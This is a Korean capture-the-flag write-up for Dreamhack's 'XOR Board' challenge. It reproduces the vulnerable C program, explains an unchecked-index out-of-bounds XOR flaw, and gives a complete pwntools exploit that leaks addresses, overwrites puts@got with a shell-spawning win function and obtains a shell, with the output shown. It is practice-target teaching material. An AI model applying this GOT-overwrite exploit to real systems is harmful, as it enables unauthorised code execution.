dreamhack - XOR Board writeup
[dreamhack] XOR Board writeup
1. 문제

여기에서는 XOR이 어떻게 동작하는지 배울 수 있어요!
혹시 win 함수를 부르는 방법을 찾을 수 있나요?
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
uint64_t arr[64] = {0};
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
for (int i = 0; i < 64; i++)
arr[i] = 1ul << i;
}
void print_menu() {
puts("1. XOR two values");
puts("2. Print one value");
printf("> ");
}
void xor() {
int32_t i, j;
printf("Enter i & j > ");
scanf("%d%d", &i, &j);
arr[i] ^= arr[j];
}
void print() {
uint32_t i;
printf("Enter i > ");
scanf("%d", &i);
printf("Value: %lx\n", arr[i]);
}
void win() {
system("/bin/sh");
}
int main() {
int option, i, j;
initialize();
while (1) {
print_menu();
scanf("%d", &option);
if (option == 1) {
xor();
} else if (option == 2) {
print();
} else {
break;
}
}
return 0;
}
1부터 2의 제곱을 해가면서 2^63까지의 값이 채워진 XOR Board
가 전역변수 arr
에 들어가있다. 그리고 배열 내의 값을 서로 xor 하고 출력할 수 있는 함수이다.
취약점은 xor을 하기 위해 전역변수 arr
에 들어가는 인덱스 값들을 검증하지 않기 때문에 out-of-bound
가 발생한다.
이 취약점으로 우리는 arr
주변에 있는 값들에 접근이 가능하다. 먼저 win
함수의 주소와 puts@got
값도 leak을 할 수 있다. 그리고 puts@got
값에 win
함수의 주소를 덮어씌운 후 puts
함수를 실행하면 win
함수가 실행될 것이다.
먼저 필요한 값들부터 leak을 하기 위해서 arr[0]
과 arr[1]
을 각각 win
함수가 들어있는 code 영역의 주소와 puts@got
값과 xor하였다. 이러면 그냥 0x1
과 0x2
를 각 값들과 xor한 것이기 때문에 쉽게 구해진다.
이후에 puts@got
에 들어가 있는 값에 어떤 값을 xor해서 win
함수 주소로 만들어야 하기 때문에 아래를 만족하는 값을 xor을 통해 만들어야 한다.
target = win_addr ^ puts_got
win_addr = target ^ puts_got
이 값을 지금은 그냥 0이 들어가있는 arr[64]
위치에 만들기로 했다. 이 target
을 한비트씩 줄이면서 1이면 해당 값을 xor해서 더하고, 0이면 넘어가도록 작성했다.
그리고 만들어진 target
값을 puts_got
에 들어가있는 값과 xor시키면 win
함수 주소가 들어가게 되고, 바로 puts
함수가 실행되기 때문에 쉘을 얻을 수 있다.
from pwn import *
p = process("./main")
p = remote("host8.dreamhack.games", 11393)
# 1. get win addr
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"0 -7")
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"0")
p.recvuntil(b"Value: ")
win_addr = int(p.recv(12), 16) - 1 - 0x209b
# 2. get puts@got
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"1 -19")
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.recvuntil(b"Value: ")
puts_got = int(p.recv(12), 16) - 0x2
target = win_addr ^ puts_got
print(hex(target))
# 3. withdraw arr[0], arr[1] b/c it is contaminated
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"0 -7")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"1 -19")
# 4. overwrite arr[64] to target
bits = []
for i in range(target.bit_length()):
if (target >> i) & 1:
#bits.append(i)
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"64 " + str(i).encode())
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"64")
p.recvuntil(b"Value: ")
print(hex(int(p.recv(12), 16)))
# 5. overwrite puts@got by win_addr
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"-19 64")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/XOR_Board/deploy$ python3 e_XOR_Board.py
[+] Starting local process './main': pid 3245812
0x2aa97666080d
0x2aa97666080d
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
해결~